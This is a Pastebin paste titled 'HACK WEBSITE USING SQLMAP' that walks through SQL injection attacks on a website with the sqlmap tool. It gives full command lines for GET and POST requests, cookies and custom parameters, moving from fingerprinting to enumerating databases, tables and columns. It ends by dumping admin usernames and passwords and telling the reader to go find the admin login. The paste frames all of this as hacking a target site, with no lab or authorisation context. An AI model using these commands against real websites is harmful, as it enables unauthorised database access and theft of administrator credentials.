Advertisement
1337_Brain

HACK WEBSITE USING SQLMAP SQL INJECTION TOOLS FULL TUTORIAL

Jul 11th, 2014
4,155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. HACK WEBSITE USING SQLMAP SQL INJECTION TOOLS FULL TUTORIAL
  2.  
  3. how to use sqlmap on GET method
  4.  
  5.  
  6. - fingerprinting
  7.  
  8. first you must have a vulnerable website for the target, if you was have a target now open sqlmap and type this command
  9. ./sqlmap.py -u "http://www.target.com/index.php?id=2"
  10. sqlmap will detect vulnerable of your target and will tell you what the type of vulnerable and what is the database type. and if your target vulnerable go to next step.
  11.  
  12.  
  13. - find database name
  14.  
  15. type this command to find database name
  16. ./sqlmap.py -u "http://www.target.com/index.php?id=2" --dbs
  17. on this step, sqlmap will find the database name of your target, for example I use "web_db" for the database name.
  18.  
  19.  
  20. - find tables name
  21.  
  22. after sqlmap find the databse name its time to find the tables name. use this command to find the table name
  23. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db --tables
  24. there will show you some tables name inside "web_db" database, ok for example I use "tbl_admin" as the tables name.
  25.  
  26.  
  27. - find columns name
  28.  
  29. its time to find what inside "tbl_admin" from "web_db" and we call it columns. to find columns type this command
  30. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin --columns
  31. it will show you the list of columns name, for example I find "user" and "password" columns.
  32.  
  33.  
  34. - dump
  35.  
  36. this command will dumped data from the columns, type this command
  37. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin -C user,password --dump
  38. and I find "user = admin" and "password = adminpass". now go to the web and find the admin login.
  39.  
  40.  
  41.  
  42. how to use sqlmap on POST method
  43.  
  44.  
  45. its the same way with GET method, its just that you have to insert POST data to the sqlmap. for example I have vulnerable site on the "login.php" path. the POST data is "id=admin&pwd=password&submit=login". how to find the POST data ? just use "Live HTTPheaders" its a firefox add ons.
  46.  
  47.  
  48. - fingerprinting
  49.  
  50. its same way with GET method, just type this command
  51. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login"
  52.  
  53. - find database name
  54.  
  55. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --dbs
  56.  
  57. - find tables name
  58.  
  59. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db --tables
  60.  
  61. - find columns name
  62.  
  63. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin --columns
  64.  
  65. - dump
  66.  
  67. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin -C user,password --dump
  68.  
  69.  
  70. include cookie
  71.  
  72.  
  73. still same method but you just should insert the cookie
  74. ./sqlmap.py -u "http://www.target.com/index.php?id=2" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  75. or
  76. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  77.  
  78.  
  79.  
  80. custom parameter
  81.  
  82.  
  83. if you have a custom parameter to inject you can type "-p" like this command
  84. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin" -p "pwd"
  85. sqlmap will inject "pwd" parameter. or you can give star"*" to the parameter to inject, like this
  86. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=*password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  87.  
  88. cover
  89.  
  90.  
  91. if you a windows users, dont use "./" to run it on cmd.
  92.  
  93. Go To Download Software: http://sqlmap.org/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement